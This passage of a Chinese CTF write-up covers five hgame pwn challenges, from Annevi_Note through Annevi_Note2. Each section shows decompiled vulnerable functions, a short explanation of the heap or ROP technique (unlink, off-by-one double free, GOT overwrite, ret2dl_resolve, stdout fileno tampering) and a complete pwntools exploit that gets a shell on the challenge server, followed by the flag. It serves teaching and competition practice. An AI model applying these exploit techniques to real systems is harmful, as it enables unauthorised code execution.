Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = readi();
if ( v3 != 2 )
break;
dele();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(0);
edit();
}
}
}

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
signed int i; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !list[i] )
break;
}
puts("size?");
v2 = readi();
if ( v2 <= 0x8F )
{
puts("Invalid size!");
exit(0);
}
list[i] = malloc(v2);
printf("content:");
read_n(list[i], v2);
puts("done!");
return 0LL;
}

delete 函数没有 uaf,但是 edit 函数有越界写 hhh,edit 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
printf("content:");
read_n(list[v1], 0x100);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

所以可以利用 edit 进行 chunk 的改造来实现 unlink 的条件,向后合并就完了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./Annevi')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20301)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Annevi', checksec=False)


def add(add_size, add_content):
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', str(add_size))
p.sendlineafter('content:', add_content)


def delete(delete_idx):
p.sendlineafter(':', '2')
p.sendlineafter('index?\n', str(delete_idx))


def show(show_idx):
p.sendlineafter(':', '3')
p.sendlineafter('index?\n', str(show_idx))
p.recvuntil('content:')


def edit(edit_idx, edit_content):
p.sendlineafter(':', '4')
p.sendlineafter('index?\n', str(edit_idx))
p.sendlineafter('content:', edit_content)


addr_chunk_list = 0x602040
add(0x90, '')
add(0x90, '')
add(0x90, '')
add(0x90, '')
add(0x90, '/bin/sh\x00')
delete(0)
add(0x90, '')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) + 0x6
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_system = libcbase + libc.sym['system']
addr___free_hook = libcbase + libc.sym['__free_hook']

pd = p64(0) + p64(0x91)
pd += p64(0x602040 - 0x8) + p64(0x602040)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0xa0)
edit(2, pd)
delete(3)
edit(2, p64(0) + p64(addr___free_hook))
edit(0, p64(addr_system))
delete(4)
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_system = ' + hex(addr_system))
success('addr___free_hook = ' + hex(addr___free_hook))
p.interactive()

Flag:

1
hgame{unununununununlink}

E99p1ant_Note

Description:

libc 2.23
nc 47.103.214.163 20302


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

exp如下:

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 add()
{
signed int i; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !list[i] )
break;
}
puts("size?");
v2 = readi("size?");
if ( v2 > 0x100 )
{
puts("Invalid size!");
exit(0);
}
list[i] = malloc(v2);
sizelist[i] = v2;
printf("content:");
read_n(list[i], v2);
puts("done!");
return 0LL;
}

delete 函数依旧没有 UAF,edit 函数也没啥特殊,但是 edit 函数和 add 函数都有一个漏洞函数 read_n,read_n 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall read_n(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= a2; ++i )
{
read(0, (i + a1), 1uLL);
if ( *(i + a1) == 10 )
break;
}
return 0LL;
}

能看出这函数多写了一个字符到内存里,所以我们可以利用这个性质打 off_by_one 的漏洞

释放一个堆块使让它包含着两个小堆块,再次申请回来两个小堆块,这样堆块列表就会存着两个第二个小堆块的地址

利用这个性质开心 double free 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./E99')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20302)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./E99', checksec=False)


def add(add_size, add_content):
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', str(add_size))
p.sendlineafter('content:', add_content)


def delete(delete_idx):
p.sendlineafter(':', '2')
p.sendlineafter('index?\n', str(delete_idx))


def show(show_idx):
p.sendlineafter(':', '3')
p.sendlineafter('index?\n', str(show_idx))
p.recvuntil('content:')


def edit(edit_idx, edit_content):
p.sendlineafter(':', '4')
p.sendlineafter('index?\n', str(edit_idx))
p.sendafter('content:', edit_content)


addr_chunk_list = 0x202040
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(0x88, '')
add(0xf8, '')
add(0x68, '')
add(0x68, '')
delete(0)
add(0x88, '')
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) + 0x6
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

pd = 'a' * 0x80
pd += p64(0) + '\x71'
edit(0, pd)
delete(1)
add(0xf8, '')
add(0x68, '')

delete(2)
delete(3)
delete(4)

add(0x68, p64(addr___malloc_hook - 0x23))
add(0x68, p64(addr___malloc_hook - 0x23))
add(0x68, p64(addr___malloc_hook - 0x23))
pd = '\x00' * 0x13
pd += p64(addr_one_gadget)
add(0x68, pd)
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', '16')
# gdb.attach(p)
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
hgame{offoffoffbybybyoneoneone}

junior_iterator

Description:

nc 47.103.214.163 20303


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序主函数如下,这里我修改了不少函数名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("----------");
puts("1. New phone list");
puts("2. show list item");
puts("3. edit list item");
puts("4. overwrite list");
puts("5. show all list");
puts("6. exit");
puts("----------");
printf("> ");
return input_atoi();
}

有用的函数下标:1、3、4、5,先放函数 1(add):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int add()
{
__int64 v0; // rbx
char v2; // [rsp+7h] [rbp-19h]
unsigned int i; // [rsp+8h] [rbp-18h]
int v4; // [rsp+Ch] [rbp-14h]

printf("List count: ");
v4 = input_atoi();
for ( i = 0; i <= 9; ++i )
{
if ( !list_id_4050E0[i] )
{
no_use_6(&v2);
v0 = operator new(0x18uLL);
malloc_src_size_desc(v0, v4, &v2);
list_id_4050E0[i] = v0;
no_use_14(&v2);
return printf("Create success, id: %d\n", i);
}
}
return puts("List MAX");
}

函数 3(edit):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int edit()
{
bool v1; // al
__int64 v2; // rax
int v3; // [rsp+8h] [rbp-28h]
int v4; // [rsp+Ch] [rbp-24h]
_QWORD *v5; // [rsp+10h] [rbp-20h]

printf("List id: ");
v3 = input_atoi();
if ( v3 < 0 || v3 > 10 )
return puts("id out of range");
v5 = list_id_4050E0[v3];
if ( !v5 )
return puts("List undefined");
printf("Item id: ");
v4 = input_atoi();
v1 = v4 < 0 || v4 > no_use_18(v5);
if ( v1 )
return puts("item id out of range");
printf("New number: ");
v2 = input_atol();
*throw_range_error(v5, v4) = v2;
return puts("Edit success");
}

函数 4(overwrite):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int overwrite()
{
int v1; // ST0C_4
int v2; // ST10_4
int v3; // [rsp+8h] [rbp-48h]
int v4; // [rsp+14h] [rbp-3Ch]
__int64 v5; // [rsp+18h] [rbp-38h]
__int64 v6; // [rsp+20h] [rbp-30h]
__int64 v7; // [rsp+28h] [rbp-28h]
__int64 v8; // [rsp+30h] [rbp-20h]
__int64 v9; // [rsp+38h] [rbp-18h]

printf("List id: ");
v3 = input_atoi();
if ( v3 < 0 || v3 > 10 )
return puts("id out of range");
v9 = list_id_4050E0[v3];
if ( !v9 )
return puts("List undefined");
printf("Star id: ");
v1 = input_atoi();
printf("End id: ");
v2 = input_atoi();
printf("New number: ");
v4 = input_atoi();
v8 = equal_(v9);
v5 = get_addr_rdi_row_rsi_col(&v8, v1);
v7 = equal_(v9);
v8 = get_addr_rdi_row_rsi_col(&v7, v2);
v6 = get_addr_rdi_row_rsi_col(&v8, 1LL);
v8 = equal(v9);
if ( iterator_equal_check(&v6, &v8) )
{
while ( iterator_equal_check(&v5, &v6) )
{
*use_iterator(&v5) = v4;
iterator_add_8(&v5);
}
}
return puts("Overwrite Done");
}

函数 5(show_all):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void show_list()
{
_QWORD *v0; // rax
signed int i; // [rsp+4h] [rbp-1Ch]
__int64 j; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 9; ++i )
{
v4 = list_id_4050E0[i];
if ( v4 )
{
for ( j = equal_(v4); ; iterator_add_8(&j) )
{
v3 = equal(v4);
if ( !iterator_equal_check(&j, &v3) )
break;
v0 = use_iterator(&j);
printf("List %d : %ld\n", i, *v0);
}
}
}
}

这题漏洞点主要是在这,直接拿堆看比较清晰,函数 1(add)调用后会产生两个堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x210ec10 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x210ec40,
bk = 0x210ec48,
fd_nextsize = 0x210ec48,
bk_nextsize = 0x21,
}
0x210ec30 FASTBIN {
prev_size = 0x210ec48,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21,
}

上面的堆是 iterator 用来找结尾地址用的,从 fd 的值开始,每一次加 8,直到等于 bk 的值

下面的堆就是用来写入字符串的地址,fd 是 item 0,bk 是 item 1,以此类推

overwrite 函数有着越界写的能力,所以可以先创建两个 list 通过上一个 list 修改下一个 list 的 fd 和 bk

按上图来说,就是 0x210ec40 和 0x210ec48 所处的地址,将其改为 got 表的某一项和该项的后 n 位,n 的具体值要看该 got 表地址后几项上面出现了 libc 的地址

即用 overwrite 函数改写完后,通过输入 5 来进行 libc 泄露

之后通过 edit 函数修改 got 表值为 system,再输入/bin/sh即可,这里我选择修改的是 got_atol,因为只有在 edit 函数里它才会被调用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20303)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./main', checksec=False)


def add(add_count):
p.sendlineafter('> ', '1')
p.sendlineafter('List count: ', str(add_count))


def edit(edit_list_id, edit_item_id, edit_content):
p.sendlineafter('> ', '3')
p.sendlineafter('List id: ', str(edit_list_id))
p.sendlineafter('Item id: ', str(edit_item_id))
p.sendlineafter('New number: ', str(edit_content))


def overwrite(overwrite_list_id, overwrite_item_start_id,
overwrite_item_end_id, overwrite_content):
p.sendlineafter('> ', '4')
p.sendlineafter('List id: ', str(overwrite_list_id))
p.sendlineafter('Star id: ', str(overwrite_item_start_id))
p.sendlineafter('End id: ', str(overwrite_item_end_id))
p.sendlineafter('New number: ', str(overwrite_content))


got_atol = elf.got['atol']
add(1)
add(1)
overwrite(0, 4, 4, got_atol)
overwrite(0, 5, 5, got_atol + 0x40)
p.sendlineafter('> ', '5')
p.recvuntil(' : ')
p.recvuntil(' : ')
p.recvuntil(' : ')

addr_read = int(p.recvuntil('\n')[: -1])
libcbase = addr_read - libc.sym['read']
addr_system = libcbase + libc.sym['system']

edit(1, 0, addr_system)
# gdb.attach(p, 'b *0x402016\nc')
edit(0, 0, '/bin/sh\x00')
success('addr_read = ' + hex(addr_read))
success('addr_system = ' + hex(addr_system))
# gdb.attach(p)
p.interactive()

Flag:

1
hgame{THE_4maz1ng_C++_Pwn}

ROP_LEVEL5

Description:

Do you know the Lv.5?Just like Misaka Mikoto!
nc 47.103.214.163 20700


Solution:

程序保护如下:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
ssize_t vuln()
{
char buf; // [esp+4h] [ebp-44h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("Are you the LEVEL5?");
close(1);
close(2);
return read(0, &buf, 0x100u);
}

关了标准输出和错误输出,能用的函数还就那么几个,所以我使用了 ret2_dl_resolve

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./ROP5')
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20700)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP5', checksec=False)
got_read = elf.got['read']
plt_read = elf.plt['read']
addr_main = 0x804855C
addr_bss = elf.bss(0x100)

addr_rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # .rel.plt
addr_dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # .dynsym
addr_dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # .dynstr
addr_plt_0 = elf.get_section_by_name('.plt').header.sh_addr # .plt

dl_indexbase = addr_bss - addr_rel_plt
dl_index_dynsym = (addr_bss + 0xc - addr_dynsym) / 0x10
dl_r_info = (dl_index_dynsym << 8) | 7
dl_st_name = addr_bss + 0x18 - addr_dynstr

# gdb.attach(p, "b *0x804855A\nc\nc" + "\nsi" * 15 + "\nni" + "\nsi" * 16)
pd = 'a' * 0x48
pd += p32(plt_read)
pd += p32(addr_main)
pd += p32(0)
pd += p32(addr_bss)
pd += p32(0x200)
p.sendlineafter('Are you the LEVEL5?\n', pd)
sleep(1)

success('dl_indexbase = ' + hex(dl_indexbase))
success('dl_index_dynsym = ' + hex(dl_index_dynsym))
success('dl_r_info = ' + hex(dl_r_info))
success('dl_st_name = ' + hex(dl_st_name))

pd = p32(got_read)
pd += p32(dl_r_info)
pd += p32(dl_st_name)
pd += p32(0) * 2
pd += p32(12)
pd += 'system\x00\x00'
pd += '/bin/sh\x00'
p.sendline(pd)
sleep(2)

pd = 'a' * 0x48
pd += p32(addr_plt_0)
pd += p32(dl_indexbase)
pd += p32(addr_main)
pd += p32(addr_bss + 8 * 4)
p.sendline(pd)
sleep(1)
p.sendline("exec 1>&0")
p.interactive()

Flag:

1
hgame{ROP_LEVEL5_Judgelight}

Annevi_Note2

Description:

Do you know the IO_FILE?
libc 2.23
nc 47.103.214.163 20701


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = readi();
if ( v3 != 2 )
break;
dele();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(0);
edit();
}
}
}

漏洞点全在 edit 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
printf("content:");
read_n(list[v1], 0x100);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

数组越界写加上 0x100 这个东西可以修改堆块头部,我们看 add 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
signed int i; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !list[i] )
break;
}
puts("size?");
v2 = readi();
if ( v2 <= 0x8F || v2 > 0x400 )
{
puts("Invalid size!");
exit(0);
}
list[i] = malloc(v2);
printf("content:");
read_n(list[i], v2);
puts("done!");
return 0LL;
}

这个大小完全可以改头部,程序初始化时有一个烦人的关闭标准输出流:

1
2
3
4
5
6
int init()
{
puts("Annevi!The eternal God!");
puts("Welcome to Annevi's note2");
return close(1);
}

我们可以依靠 edit 函数的越界写来修改_IO_2_1_stdout_内部的_fileno为 2,用错误输出流来输出内容

这样之后就可以继续 unlink,然后泄露 libc,继续修改 got_free 为 addr_system,来释放/bin/sh 1>&2获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./AN2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
p = remote('47.103.214.163', 20701)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./AN2', checksec=False)


def add(add_size, add_content):
p.sendlineafter('4.edit\n:', '1')
p.sendlineafter('size?\n', str(add_size))
p.sendline(add_content)


def delete(delete_idx):
p.sendlineafter('4.edit\n:', '2')
p.sendlineafter('index?\n', str(delete_idx))


def edit(edit_idx, edit_content):
p.sendlineafter('4.edit\n:', '4')
p.sendlineafter('index?\n', str(edit_idx))
p.sendline(edit_content)


got_free = elf.got['free']
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_stdout = 0x6020A0
addr_chunk_list = 0x6020E0

p.recvuntil("Welcome to Annevi's note2\n")
p.sendline('4')
sleep(0.3)
p.sendline(str((addr_stdout - addr_chunk_list) / 8))
sleep(0.3)
p.sendline(p64(0xfbad28a7) + p64(0) * 13 + p32(2))
sleep(0.3)

add(0x90, '')
add(0x90, '')
add(0x90, '/bin/sh 1>&2')
add(0x90, '')
add(0x90, '')
pd = p64(0) + p64(0x91)
pd += p64(addr_chunk_list) + p64(addr_chunk_list + 8)
pd += '\x00' * 0x70
pd += p64(0x90) + p64(0xa0)
edit(3, pd)
delete(4)

pd = p64(got_free)
pd += p64(got_puts)
edit(3, pd)
edit(0, p64(plt_puts))
delete(1)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']

edit(0, p64(addr_system))
delete(2)
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
hgame{le4k_W1th_1O_F1LE}
文章目录
  1. 1. Hard_AAAAA
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. Number_Killer
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. One_Shot
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. ROP_LEVEL0
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. findyourself
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. Roc826s_Note
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. Another_Heaven
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
  8. 8. 形而上的坏死
    1. 8.1. Description:
    2. 8.2. Solution:
    3. 8.3. Flag:
  9. 9. ROP_LEVEL2
    1. 9.1. Description:
    2. 9.2. Solution:
    3. 9.3. Flag:
  10. 10. Annevi_Note
    1. 10.1. Description:
    2. 10.2. Solution:
    3. 10.3. Flag:
  11. 11. E99p1ant_Note
    1. 11.1. Description:
    2. 11.2. Solution:
    3. 11.3. Flag:
  12. 12. junior_iterator
    1. 12.1. Description:
    2. 12.2. Solution:
    3. 12.3. Flag:
  13. 13. ROP_LEVEL5
    1. 13.1. Description:
    2. 13.2. Solution:
    3. 13.3. Flag:
  14. 14. Annevi_Note2
    1. 14.1. Description:
    2. 14.2. Solution:
    3. 14.3. Flag:
|